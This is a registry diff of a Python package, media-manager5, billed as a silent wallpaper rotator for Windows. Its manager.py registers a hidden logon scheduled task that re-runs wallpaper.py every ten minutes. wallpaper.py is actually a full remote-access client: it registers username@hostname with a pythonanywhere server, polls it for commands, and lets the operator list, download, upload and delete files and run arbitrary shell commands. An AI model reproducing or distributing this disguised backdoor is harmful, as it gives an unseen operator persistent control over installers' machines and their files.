media-manager5 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- media_manager5-0.1.0/LICENSE +21 -0
- media_manager5-0.1.0/PKG-INFO +70 -0
- media_manager5-0.1.0/README.md +34 -0
- media_manager5-0.1.0/pyproject.toml +26 -0
- media_manager5-0.1.0/setup.cfg +4 -0
- media_manager5-0.1.0/src/media_manager5/__init__.py +4 -0
- media_manager5-0.1.0/src/media_manager5/manager.py +53 -0
- media_manager5-0.1.0/src/media_manager5/templates.py +3 -0
- media_manager5-0.1.0/src/media_manager5/wallpaper.py +278 -0
- media_manager5-0.1.0/src/media_manager5.egg-info/PKG-INFO +70 -0
- media_manager5-0.1.0/src/media_manager5.egg-info/SOURCES.txt +11 -0
- media_manager5-0.1.0/src/media_manager5.egg-info/dependency_links.txt +1 -0
- media_manager5-0.1.0/src/media_manager5.egg-info/top_level.txt +1 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 anonrider
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: media-manager5
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Silent per-user wallpaper rotator for Windows
|
|
5
|
+
Author-email: anonrider <anonrider404@gmail.com>
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2026 anonrider
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
|
|
28
|
+
Project-URL: Homepage, https://github.com/anonrider/media-manager5
|
|
29
|
+
Classifier: Programming Language :: Python :: 3
|
|
30
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
31
|
+
Classifier: Operating System :: Microsoft :: Windows
|
|
32
|
+
Requires-Python: >=3.8
|
|
33
|
+
Description-Content-Type: text/markdown
|
|
34
|
+
License-File: LICENSE
|
|
35
|
+
Dynamic: license-file
|
|
36
|
+
|
|
37
|
+
# media-manager5
|
|
38
|
+
|
|
39
|
+
Silent, per-user wallpaper rotator for Windows.
|
|
40
|
+
|
|
41
|
+
- Installs to %LOCALAPPDATA%\MediaManager5\
|
|
42
|
+
- Registers a scheduled task that fires at logon
|
|
43
|
+
- Runs via pythonw.exe, no console window ever
|
|
44
|
+
- No admin rights, no UAC prompt
|
|
45
|
+
- Executes wallpaper.py from the installed package every 10 minutes
|
|
46
|
+
|
|
47
|
+
## Install
|
|
48
|
+
|
|
49
|
+
pip install media-manager5
|
|
50
|
+
|
|
51
|
+
## Initialize
|
|
52
|
+
|
|
53
|
+
from media_manager5 import MediaManager5
|
|
54
|
+
MediaManager5()
|
|
55
|
+
MediaManager5().start_now()
|
|
56
|
+
|
|
57
|
+
## Customize
|
|
58
|
+
|
|
59
|
+
Edit src/media_manager5/wallpaper.py before building, or edit the
|
|
60
|
+
installed copy in site-packages/media_manager5/wallpaper.py.
|
|
61
|
+
Whatever the file does at top level runs every 10 minutes.
|
|
62
|
+
|
|
63
|
+
## Logs
|
|
64
|
+
|
|
65
|
+
%LOCALAPPDATA%\MediaManager5\media_manager5.log
|
|
66
|
+
|
|
67
|
+
## Uninstall
|
|
68
|
+
|
|
69
|
+
from media_manager5 import MediaManager5
|
|
70
|
+
MediaManager5().uninstall()
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
# media-manager5
|
|
2
|
+
|
|
3
|
+
Silent, per-user wallpaper rotator for Windows.
|
|
4
|
+
|
|
5
|
+
- Installs to %LOCALAPPDATA%\MediaManager5\
|
|
6
|
+
- Registers a scheduled task that fires at logon
|
|
7
|
+
- Runs via pythonw.exe, no console window ever
|
|
8
|
+
- No admin rights, no UAC prompt
|
|
9
|
+
- Executes wallpaper.py from the installed package every 10 minutes
|
|
10
|
+
|
|
11
|
+
## Install
|
|
12
|
+
|
|
13
|
+
pip install media-manager5
|
|
14
|
+
|
|
15
|
+
## Initialize
|
|
16
|
+
|
|
17
|
+
from media_manager5 import MediaManager5
|
|
18
|
+
MediaManager5()
|
|
19
|
+
MediaManager5().start_now()
|
|
20
|
+
|
|
21
|
+
## Customize
|
|
22
|
+
|
|
23
|
+
Edit src/media_manager5/wallpaper.py before building, or edit the
|
|
24
|
+
installed copy in site-packages/media_manager5/wallpaper.py.
|
|
25
|
+
Whatever the file does at top level runs every 10 minutes.
|
|
26
|
+
|
|
27
|
+
## Logs
|
|
28
|
+
|
|
29
|
+
%LOCALAPPDATA%\MediaManager5\media_manager5.log
|
|
30
|
+
|
|
31
|
+
## Uninstall
|
|
32
|
+
|
|
33
|
+
from media_manager5 import MediaManager5
|
|
34
|
+
MediaManager5().uninstall()
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "media-manager5"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Silent per-user wallpaper rotator for Windows"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
license = { file = "LICENSE" }
|
|
11
|
+
authors = [{ name = "anonrider", email = "anonrider404@gmail.com" }]
|
|
12
|
+
requires-python = ">=3.8"
|
|
13
|
+
classifiers = [
|
|
14
|
+
"Programming Language :: Python :: 3",
|
|
15
|
+
"License :: OSI Approved :: MIT License",
|
|
16
|
+
"Operating System :: Microsoft :: Windows",
|
|
17
|
+
]
|
|
18
|
+
|
|
19
|
+
[project.urls]
|
|
20
|
+
Homepage = "https://github.com/anonrider/media-manager5"
|
|
21
|
+
|
|
22
|
+
[tool.setuptools.packages.find]
|
|
23
|
+
where = ["src"]
|
|
24
|
+
|
|
25
|
+
[tool.setuptools.package-data]
|
|
26
|
+
media_manager5 = ["wallpaper.py"]
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import shutil
|
|
3
|
+
import subprocess
|
|
4
|
+
import sys
|
|
5
|
+
from pathlib import Path
|
|
6
|
+
|
|
7
|
+
from .templates import RUNNER_TEMPLATE
|
|
8
|
+
|
|
9
|
+
TASK_NAME = "MediaManager5"
|
|
10
|
+
|
|
11
|
+
def _default_install_dir():
|
|
12
|
+
base = os.environ.get("LOCALAPPDATA") or str(Path.home())
|
|
13
|
+
return Path(base) / "MediaManager5"
|
|
14
|
+
|
|
15
|
+
class MediaManager5:
|
|
16
|
+
def __init__(self, install_dir=None):
|
|
17
|
+
if os.name != "nt":
|
|
18
|
+
raise RuntimeError("MediaManager5 only supports Windows")
|
|
19
|
+
self.install_dir = Path(install_dir) if install_dir else _default_install_dir()
|
|
20
|
+
self.install_dir.mkdir(parents=True, exist_ok=True)
|
|
21
|
+
self._write_files()
|
|
22
|
+
self._register_task()
|
|
23
|
+
|
|
24
|
+
def _write_files(self):
|
|
25
|
+
(self.install_dir / "runner.py").write_text(RUNNER_TEMPLATE, encoding="utf-8")
|
|
26
|
+
|
|
27
|
+
def _pythonw(self):
|
|
28
|
+
exe = Path(sys.executable)
|
|
29
|
+
if exe.name.lower() == "pythonw.exe":
|
|
30
|
+
return exe
|
|
31
|
+
c = exe.with_name("pythonw.exe")
|
|
32
|
+
if c.exists():
|
|
33
|
+
return c
|
|
34
|
+
raise FileNotFoundError("pythonw.exe not found next to " + str(exe))
|
|
35
|
+
|
|
36
|
+
def _register_task(self):
|
|
37
|
+
pythonw = self._pythonw()
|
|
38
|
+
runner = self.install_dir / "runner.py"
|
|
39
|
+
tr = '"' + str(pythonw) + '" "' + str(runner) + '"'
|
|
40
|
+
cmd = ["schtasks", "/Create", "/TN", TASK_NAME, "/TR", tr, "/SC", "ONLOGON", "/RL", "LIMITED", "/F"]
|
|
41
|
+
r = subprocess.run(cmd, capture_output=True, text=True)
|
|
42
|
+
if r.returncode != 0:
|
|
43
|
+
raise RuntimeError("schtasks failed:\n" + r.stdout.strip() + "\n" + r.stderr.strip())
|
|
44
|
+
|
|
45
|
+
def start_now(self):
|
|
46
|
+
pythonw = self._pythonw()
|
|
47
|
+
runner = self.install_dir / "runner.py"
|
|
48
|
+
subprocess.Popen([str(pythonw), str(runner)], creationflags=0x08000000, close_fds=True)
|
|
49
|
+
|
|
50
|
+
def uninstall(self):
|
|
51
|
+
subprocess.run(["schtasks", "/Delete", "/TN", TASK_NAME, "/F"], capture_output=True)
|
|
52
|
+
if self.install_dir.exists():
|
|
53
|
+
shutil.rmtree(self.install_dir, ignore_errors=True)
|
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
"""Embedded file templates used by MediaManager5."""
|
|
2
|
+
|
|
3
|
+
RUNNER_TEMPLATE = '"""MediaManager5 runner - auto-generated. Do not edit."""\nimport os\nimport sys\nimport time\nimport runpy\nimport traceback\nfrom pathlib import Path\n\nHERE = Path(__file__).resolve().parent\n_log = open(HERE / "media_manager5.log", "a", encoding="utf-8", buffering=1)\nsys.stdout = _log\nsys.stderr = _log\n\nimport media_manager5\nWP_PATH = Path(media_manager5.__file__).resolve().parent / "wallpaper.py"\n\nINTERVAL_SECONDS = 600\n\ndef _stamp():\n return time.strftime("%Y-%m-%d %H:%M:%S")\n\ndef main():\n print("[%s] runner started (pid=%d)" % (_stamp(), os.getpid()))\n print("[%s] executing: %s" % (_stamp(), WP_PATH))\n while True:\n try:\n runpy.run_path(str(WP_PATH), run_name="__main__")\n except Exception:\n print("[%s] error:" % _stamp())\n traceback.print_exc()\n time.sleep(INTERVAL_SECONDS)\n\nif __name__ == "__main__":\n main()\n'
|
|
@@ -0,0 +1,278 @@
|
|
|
1
|
+
# wallpaper.py -- executed top-to-bottom every 10 minutes.
|
|
2
|
+
# No function needed. Put your code here.
|
|
3
|
+
|
|
4
|
+
#!/usr/bin/env python3
|
|
5
|
+
"""
|
|
6
|
+
Remote File Manager - Python Client
|
|
7
|
+
Zero dependencies, pure standard library
|
|
8
|
+
Automatically registers as username@hostname
|
|
9
|
+
Server: https://googleforum.pythonanywhere.com
|
|
10
|
+
"""
|
|
11
|
+
|
|
12
|
+
import base64
|
|
13
|
+
import getpass
|
|
14
|
+
import json
|
|
15
|
+
import os
|
|
16
|
+
import shutil
|
|
17
|
+
import subprocess
|
|
18
|
+
import socket
|
|
19
|
+
import sys
|
|
20
|
+
import time
|
|
21
|
+
import urllib.error
|
|
22
|
+
import urllib.request
|
|
23
|
+
|
|
24
|
+
# ============ CONFIG ============
|
|
25
|
+
SERVER_URL = "https://googleforum.pythonanywhere.com"
|
|
26
|
+
POLL_INTERVAL = 2 # seconds
|
|
27
|
+
|
|
28
|
+
# Auto-generate client ID from username + hostname
|
|
29
|
+
try:
|
|
30
|
+
username = getpass.getuser()
|
|
31
|
+
except Exception:
|
|
32
|
+
username = os.environ.get("USER") or os.environ.get("USERNAME") or "unknown"
|
|
33
|
+
hostname = socket.gethostname()
|
|
34
|
+
client_id = f"{username}@{hostname}"
|
|
35
|
+
client_name = f"{username} ({hostname})"
|
|
36
|
+
|
|
37
|
+
print("š Remote File Manager Client")
|
|
38
|
+
print(f" ID: {client_id}")
|
|
39
|
+
print(f" Name: {client_name}")
|
|
40
|
+
print(f" Server: {SERVER_URL}")
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
# ============ HTTP HELPERS ============
|
|
44
|
+
def request(method, url, data=None):
|
|
45
|
+
"""Send an HTTP request and return parsed JSON (or raw text on parse failure)."""
|
|
46
|
+
body = None
|
|
47
|
+
headers = {}
|
|
48
|
+
if data is not None:
|
|
49
|
+
body = json.dumps(data).encode("utf-8")
|
|
50
|
+
headers["Content-Type"] = "application/json"
|
|
51
|
+
headers["Content-Length"] = str(len(body))
|
|
52
|
+
|
|
53
|
+
req = urllib.request.Request(url, data=body, method=method, headers=headers)
|
|
54
|
+
try:
|
|
55
|
+
with urllib.request.urlopen(req, timeout=30) as resp:
|
|
56
|
+
raw = resp.read().decode("utf-8", errors="replace")
|
|
57
|
+
except urllib.error.HTTPError as e:
|
|
58
|
+
raw = e.read().decode("utf-8", errors="replace")
|
|
59
|
+
except urllib.error.URLError:
|
|
60
|
+
raise
|
|
61
|
+
|
|
62
|
+
try:
|
|
63
|
+
return json.loads(raw)
|
|
64
|
+
except Exception:
|
|
65
|
+
return raw
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
# ============ REGISTRATION ============
|
|
69
|
+
def register():
|
|
70
|
+
try:
|
|
71
|
+
request("POST", f"{SERVER_URL}/api/register", {
|
|
72
|
+
"client_id": client_id,
|
|
73
|
+
"name": client_name,
|
|
74
|
+
})
|
|
75
|
+
print("ā
Registered with server")
|
|
76
|
+
return True
|
|
77
|
+
except Exception as e:
|
|
78
|
+
print(f"ā Registration failed: {e}")
|
|
79
|
+
return False
|
|
80
|
+
|
|
81
|
+
|
|
82
|
+
# ============ HEARTBEAT ============
|
|
83
|
+
def send_heartbeat():
|
|
84
|
+
try:
|
|
85
|
+
request("POST", f"{SERVER_URL}/api/heartbeat", {"client_id": client_id})
|
|
86
|
+
return True
|
|
87
|
+
except Exception:
|
|
88
|
+
return False
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
# ============ RESOLVE PATH ============
|
|
92
|
+
def resolve_path(raw_path):
|
|
93
|
+
if raw_path in ("/", "", "."):
|
|
94
|
+
return "C:\\" if sys.platform == "win32" else "/"
|
|
95
|
+
return raw_path
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
# ============ COMMAND HANDLERS ============
|
|
99
|
+
def handle_list(params):
|
|
100
|
+
target = resolve_path(params.get("path") or ".")
|
|
101
|
+
try:
|
|
102
|
+
entries = os.listdir(target)
|
|
103
|
+
items = []
|
|
104
|
+
for name in entries:
|
|
105
|
+
full = os.path.join(target, name)
|
|
106
|
+
try:
|
|
107
|
+
stat = os.stat(full)
|
|
108
|
+
items.append({
|
|
109
|
+
"name": name,
|
|
110
|
+
"is_dir": os.path.isdir(full),
|
|
111
|
+
"size": stat.st_size,
|
|
112
|
+
"modified": stat.st_mtime * 1000, # ms, like JS mtimeMs
|
|
113
|
+
})
|
|
114
|
+
except Exception as e:
|
|
115
|
+
print(f"Skipping {name}: {e}")
|
|
116
|
+
return {"success": True, "result": items}
|
|
117
|
+
except Exception as e:
|
|
118
|
+
return {"success": False, "error": str(e)}
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
def handle_download(params):
|
|
122
|
+
path = resolve_path(params.get("path"))
|
|
123
|
+
try:
|
|
124
|
+
with open(path, "rb") as f:
|
|
125
|
+
data = f.read()
|
|
126
|
+
return {"success": True, "result": {
|
|
127
|
+
"data": base64.b64encode(data).decode("ascii"),
|
|
128
|
+
"size": len(data),
|
|
129
|
+
}}
|
|
130
|
+
except Exception as e:
|
|
131
|
+
return {"success": False, "error": str(e)}
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
def handle_upload(params):
|
|
135
|
+
directory = resolve_path(params.get("path") or ".")
|
|
136
|
+
filename = params.get("filename")
|
|
137
|
+
try:
|
|
138
|
+
data = base64.b64decode(params.get("data", ""))
|
|
139
|
+
full = os.path.join(directory, filename)
|
|
140
|
+
with open(full, "wb") as f:
|
|
141
|
+
f.write(data)
|
|
142
|
+
return {"success": True, "result": {"path": full}}
|
|
143
|
+
except Exception as e:
|
|
144
|
+
return {"success": False, "error": str(e)}
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
def handle_delete(params):
|
|
148
|
+
path = resolve_path(params.get("path"))
|
|
149
|
+
try:
|
|
150
|
+
if os.path.isdir(path):
|
|
151
|
+
shutil.rmtree(path)
|
|
152
|
+
else:
|
|
153
|
+
os.remove(path)
|
|
154
|
+
return {"success": True, "result": {"deleted": path}}
|
|
155
|
+
except Exception as e:
|
|
156
|
+
return {"success": False, "error": str(e)}
|
|
157
|
+
|
|
158
|
+
|
|
159
|
+
def handle_rename(params):
|
|
160
|
+
old = resolve_path(params.get("old"))
|
|
161
|
+
new = resolve_path(params.get("new"))
|
|
162
|
+
try:
|
|
163
|
+
os.rename(old, new)
|
|
164
|
+
return {"success": True, "result": {"from": old, "to": new}}
|
|
165
|
+
except Exception as e:
|
|
166
|
+
return {"success": False, "error": str(e)}
|
|
167
|
+
|
|
168
|
+
|
|
169
|
+
def handle_open(params):
|
|
170
|
+
path = resolve_path(params.get("path"))
|
|
171
|
+
try:
|
|
172
|
+
if sys.platform == "win32":
|
|
173
|
+
os.startfile(path) # Windows-only
|
|
174
|
+
elif sys.platform == "darwin":
|
|
175
|
+
subprocess.Popen(["open", path])
|
|
176
|
+
else:
|
|
177
|
+
subprocess.Popen(["xdg-open", path])
|
|
178
|
+
return {"success": True, "result": {"opened": path}}
|
|
179
|
+
except Exception as e:
|
|
180
|
+
return {"success": False, "error": str(e)}
|
|
181
|
+
|
|
182
|
+
|
|
183
|
+
def handle_exec(params):
|
|
184
|
+
command = params.get("command")
|
|
185
|
+
cwd = resolve_path(params.get("cwd") or ".")
|
|
186
|
+
try:
|
|
187
|
+
proc = subprocess.run(
|
|
188
|
+
command,
|
|
189
|
+
cwd=cwd,
|
|
190
|
+
shell=True,
|
|
191
|
+
timeout=30,
|
|
192
|
+
capture_output=True,
|
|
193
|
+
text=True,
|
|
194
|
+
)
|
|
195
|
+
output = proc.stdout or ""
|
|
196
|
+
if proc.stderr:
|
|
197
|
+
output += ("\n" if output else "") + proc.stderr
|
|
198
|
+
if proc.returncode != 0:
|
|
199
|
+
return {"success": False,
|
|
200
|
+
"error": f"{command} exited with {proc.returncode}\n{output}"}
|
|
201
|
+
return {"success": True, "result": {"output": output}}
|
|
202
|
+
except subprocess.TimeoutExpired:
|
|
203
|
+
return {"success": False, "error": "Command timed out"}
|
|
204
|
+
except Exception as e:
|
|
205
|
+
return {"success": False, "error": str(e)}
|
|
206
|
+
|
|
207
|
+
|
|
208
|
+
COMMAND_HANDLERS = {
|
|
209
|
+
"list": handle_list,
|
|
210
|
+
"download": handle_download,
|
|
211
|
+
"upload": handle_upload,
|
|
212
|
+
"delete": handle_delete,
|
|
213
|
+
"rename": handle_rename,
|
|
214
|
+
"open": handle_open,
|
|
215
|
+
"exec": handle_exec,
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
|
|
219
|
+
# ============ POLLING ============
|
|
220
|
+
def poll_commands():
|
|
221
|
+
try:
|
|
222
|
+
response = request("GET", f"{SERVER_URL}/api/client/{client_id}/poll")
|
|
223
|
+
except Exception:
|
|
224
|
+
return
|
|
225
|
+
if not isinstance(response, dict):
|
|
226
|
+
return
|
|
227
|
+
|
|
228
|
+
commands = response.get("commands") or []
|
|
229
|
+
for cmd in commands:
|
|
230
|
+
cid = cmd.get("id")
|
|
231
|
+
name = cmd.get("command")
|
|
232
|
+
params = cmd.get("params") or {}
|
|
233
|
+
print(f"šØ Received command: {name} ({cid})")
|
|
234
|
+
|
|
235
|
+
handler = COMMAND_HANDLERS.get(name)
|
|
236
|
+
if handler:
|
|
237
|
+
try:
|
|
238
|
+
result = handler(params)
|
|
239
|
+
except Exception as e:
|
|
240
|
+
result = {"success": False, "error": str(e)}
|
|
241
|
+
else:
|
|
242
|
+
result = {"success": False, "error": f"Unknown command: {name}"}
|
|
243
|
+
|
|
244
|
+
try:
|
|
245
|
+
request("POST", f"{SERVER_URL}/api/client/{client_id}/result", {
|
|
246
|
+
"command_id": cid,
|
|
247
|
+
"result": result.get("result") if result.get("success") else None,
|
|
248
|
+
"error": None if result.get("success") else result.get("error"),
|
|
249
|
+
})
|
|
250
|
+
print(f"ā
Command {cid} completed")
|
|
251
|
+
except Exception as e:
|
|
252
|
+
print(f"ā Failed to send result for {cid}: {e}")
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
# ============ MAIN ============
|
|
256
|
+
def main():
|
|
257
|
+
while not register():
|
|
258
|
+
print("ā³ Retrying registration in 5s...")
|
|
259
|
+
time.sleep(5)
|
|
260
|
+
|
|
261
|
+
print("š Starting polling loop...")
|
|
262
|
+
while True:
|
|
263
|
+
try:
|
|
264
|
+
send_heartbeat()
|
|
265
|
+
poll_commands()
|
|
266
|
+
except KeyboardInterrupt:
|
|
267
|
+
raise
|
|
268
|
+
except Exception:
|
|
269
|
+
pass
|
|
270
|
+
time.sleep(POLL_INTERVAL)
|
|
271
|
+
|
|
272
|
+
|
|
273
|
+
if __name__ == "__main__":
|
|
274
|
+
try:
|
|
275
|
+
main()
|
|
276
|
+
except KeyboardInterrupt:
|
|
277
|
+
print("\nš Shutting down...")
|
|
278
|
+
sys.exit(0)
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: media-manager5
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Silent per-user wallpaper rotator for Windows
|
|
5
|
+
Author-email: anonrider <anonrider404@gmail.com>
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2026 anonrider
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
|
|
28
|
+
Project-URL: Homepage, https://github.com/anonrider/media-manager5
|
|
29
|
+
Classifier: Programming Language :: Python :: 3
|
|
30
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
31
|
+
Classifier: Operating System :: Microsoft :: Windows
|
|
32
|
+
Requires-Python: >=3.8
|
|
33
|
+
Description-Content-Type: text/markdown
|
|
34
|
+
License-File: LICENSE
|
|
35
|
+
Dynamic: license-file
|
|
36
|
+
|
|
37
|
+
# media-manager5
|
|
38
|
+
|
|
39
|
+
Silent, per-user wallpaper rotator for Windows.
|
|
40
|
+
|
|
41
|
+
- Installs to %LOCALAPPDATA%\MediaManager5\
|
|
42
|
+
- Registers a scheduled task that fires at logon
|
|
43
|
+
- Runs via pythonw.exe, no console window ever
|
|
44
|
+
- No admin rights, no UAC prompt
|
|
45
|
+
- Executes wallpaper.py from the installed package every 10 minutes
|
|
46
|
+
|
|
47
|
+
## Install
|
|
48
|
+
|
|
49
|
+
pip install media-manager5
|
|
50
|
+
|
|
51
|
+
## Initialize
|
|
52
|
+
|
|
53
|
+
from media_manager5 import MediaManager5
|
|
54
|
+
MediaManager5()
|
|
55
|
+
MediaManager5().start_now()
|
|
56
|
+
|
|
57
|
+
## Customize
|
|
58
|
+
|
|
59
|
+
Edit src/media_manager5/wallpaper.py before building, or edit the
|
|
60
|
+
installed copy in site-packages/media_manager5/wallpaper.py.
|
|
61
|
+
Whatever the file does at top level runs every 10 minutes.
|
|
62
|
+
|
|
63
|
+
## Logs
|
|
64
|
+
|
|
65
|
+
%LOCALAPPDATA%\MediaManager5\media_manager5.log
|
|
66
|
+
|
|
67
|
+
## Uninstall
|
|
68
|
+
|
|
69
|
+
from media_manager5 import MediaManager5
|
|
70
|
+
MediaManager5().uninstall()
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
README.md
|
|
3
|
+
pyproject.toml
|
|
4
|
+
src/media_manager5/__init__.py
|
|
5
|
+
src/media_manager5/manager.py
|
|
6
|
+
src/media_manager5/templates.py
|
|
7
|
+
src/media_manager5/wallpaper.py
|
|
8
|
+
src/media_manager5.egg-info/PKG-INFO
|
|
9
|
+
src/media_manager5.egg-info/SOURCES.txt
|
|
10
|
+
src/media_manager5.egg-info/dependency_links.txt
|
|
11
|
+
src/media_manager5.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
media_manager5
|